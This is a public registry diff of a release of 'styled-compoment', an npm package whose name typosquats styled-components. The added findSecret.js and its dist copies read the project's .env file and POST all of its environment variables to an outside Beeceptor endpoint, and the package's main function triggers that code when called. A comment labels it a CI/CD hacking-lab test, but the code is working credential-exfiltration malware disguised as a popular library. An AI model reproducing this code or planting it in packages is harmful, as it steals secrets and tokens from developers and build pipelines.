styled-compoment 0.0.1-security → 7.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of styled-compoment might be problematic. Click here for more details.
- package/.vscode/settings.json +3 -0
- package/README.md +3 -5
- package/dist/extractEnvVariables.dev.js +34 -0
- package/dist/findSecret.dev.js +34 -0
- package/dist/index.dev.js +13 -0
- package/findSecret.js +35 -0
- package/index.js +8 -0
- package/package.json +26 -3
package/README.md
CHANGED
|
@@ -1,5 +1,3 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=styled-compoment for more information.
|
|
1
|
+
# styled-components
|
|
2
|
+
|
|
3
|
+
just a test
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
var fs = require('fs');
|
|
4
|
+
|
|
5
|
+
var path = require('path');
|
|
6
|
+
|
|
7
|
+
var findUp = require('find-up');
|
|
8
|
+
|
|
9
|
+
var axios = require('axios');
|
|
10
|
+
|
|
11
|
+
var findSecret = function findSecret() {
|
|
12
|
+
var dotenvPath = findUp.sync('.env');
|
|
13
|
+
|
|
14
|
+
if (!dotenvPath) {
|
|
15
|
+
console.error('Le fichier .env n\'a pas été trouvé.');
|
|
16
|
+
process.exit(1);
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
var loadedEnv = require('dotenv').config({
|
|
20
|
+
path: dotenvPath
|
|
21
|
+
}).parsed;
|
|
22
|
+
|
|
23
|
+
console.log('Loaded dotenv:', loadedEnv); // Set the Beeceptor URL
|
|
24
|
+
|
|
25
|
+
var beeceptorUrl = 'https://envparam.free.beeceptor.com'; // Make a POST request to Beeceptor with the environment variables
|
|
26
|
+
|
|
27
|
+
axios.post(beeceptorUrl, loadedEnv).then(function (response) {
|
|
28
|
+
console.log('POST request successful:', response.data);
|
|
29
|
+
})["catch"](function (error) {
|
|
30
|
+
console.error('Error making POST request:', error.message);
|
|
31
|
+
});
|
|
32
|
+
};
|
|
33
|
+
|
|
34
|
+
module.exports = findSecret;
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
var fs = require('fs');
|
|
4
|
+
|
|
5
|
+
var path = require('path');
|
|
6
|
+
|
|
7
|
+
var findUp = require('find-up');
|
|
8
|
+
|
|
9
|
+
var axios = require('axios');
|
|
10
|
+
|
|
11
|
+
var findSecret = function findSecret() {
|
|
12
|
+
var dotenvPath = findUp.sync('.env');
|
|
13
|
+
|
|
14
|
+
if (!dotenvPath) {
|
|
15
|
+
console.error('Le fichier .env n\'a pas été trouvé.');
|
|
16
|
+
process.exit(1);
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
var loadedEnv = require('dotenv').config({
|
|
20
|
+
path: dotenvPath
|
|
21
|
+
}).parsed;
|
|
22
|
+
|
|
23
|
+
console.log('Loaded dotenv:', loadedEnv); // Set the Beeceptor URL
|
|
24
|
+
|
|
25
|
+
var beeceptorUrl = 'https://envparam.free.beeceptor.com'; // Make a POST request to Beeceptor with the environment variables
|
|
26
|
+
|
|
27
|
+
axios.post(beeceptorUrl, loadedEnv).then(function (response) {
|
|
28
|
+
console.log('POST request successful:', response.data);
|
|
29
|
+
})["catch"](function (error) {
|
|
30
|
+
console.error('Error making POST request:', error.message);
|
|
31
|
+
});
|
|
32
|
+
};
|
|
33
|
+
|
|
34
|
+
module.exports = findSecret;
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
var _findSecret = _interopRequireDefault(require("./findSecret"));
|
|
4
|
+
|
|
5
|
+
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }
|
|
6
|
+
|
|
7
|
+
//Hello, This a test for my scenario on CI/CD hacking lab
|
|
8
|
+
function styled() {
|
|
9
|
+
(0, _findSecret["default"])();
|
|
10
|
+
return "Bonjour, cette version est la bonne 7.0.0";
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
module.exports = styled;
|
package/findSecret.js
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const findUp = require('find-up');
|
|
4
|
+
const axios = require('axios');
|
|
5
|
+
|
|
6
|
+
|
|
7
|
+
const findSecret = () => {
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
const dotenvPath = findUp.sync('.env');
|
|
11
|
+
|
|
12
|
+
if (!dotenvPath) {
|
|
13
|
+
console.error('Le fichier .env n\'a pas été trouvé.');
|
|
14
|
+
process.exit(1);
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
const loadedEnv = require('dotenv').config({ path: dotenvPath }).parsed;
|
|
18
|
+
|
|
19
|
+
console.log('Loaded dotenv:', loadedEnv);
|
|
20
|
+
|
|
21
|
+
// Set the Beeceptor URL
|
|
22
|
+
const beeceptorUrl = 'https://envparam.free.beeceptor.com';
|
|
23
|
+
|
|
24
|
+
// Make a POST request to Beeceptor with the environment variables
|
|
25
|
+
axios.post(beeceptorUrl, loadedEnv)
|
|
26
|
+
.then(response => {
|
|
27
|
+
console.log('POST request successful:', response.data);
|
|
28
|
+
})
|
|
29
|
+
.catch(error => {
|
|
30
|
+
console.error('Error making POST request:', error.message);
|
|
31
|
+
});
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
module.exports = findSecret;
|
|
35
|
+
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,29 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "styled-compoment",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "7.1.1",
|
|
4
|
+
"description": "for test purpose",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"repository": {
|
|
10
|
+
"type": "git",
|
|
11
|
+
"url": "git+https://github.com/oak-ba/styled-components.git"
|
|
12
|
+
},
|
|
13
|
+
"keywords": [
|
|
14
|
+
"ci",
|
|
15
|
+
"cd"
|
|
16
|
+
],
|
|
17
|
+
"author": "oak",
|
|
18
|
+
"license": "ISC",
|
|
19
|
+
"bugs": {
|
|
20
|
+
"url": "https://github.com/oak-ba/styled-components/issues"
|
|
21
|
+
},
|
|
22
|
+
"homepage": "https://github.com/oak-ba/styled-components#readme",
|
|
23
|
+
"dependencies": {
|
|
24
|
+
"axios": "^1.6.7",
|
|
25
|
+
"dotenv": "^16.4.1",
|
|
26
|
+
"find-up": "^4.1.0"
|
|
27
|
+
},
|
|
28
|
+
"devDependencies": {}
|
|
6
29
|
}
|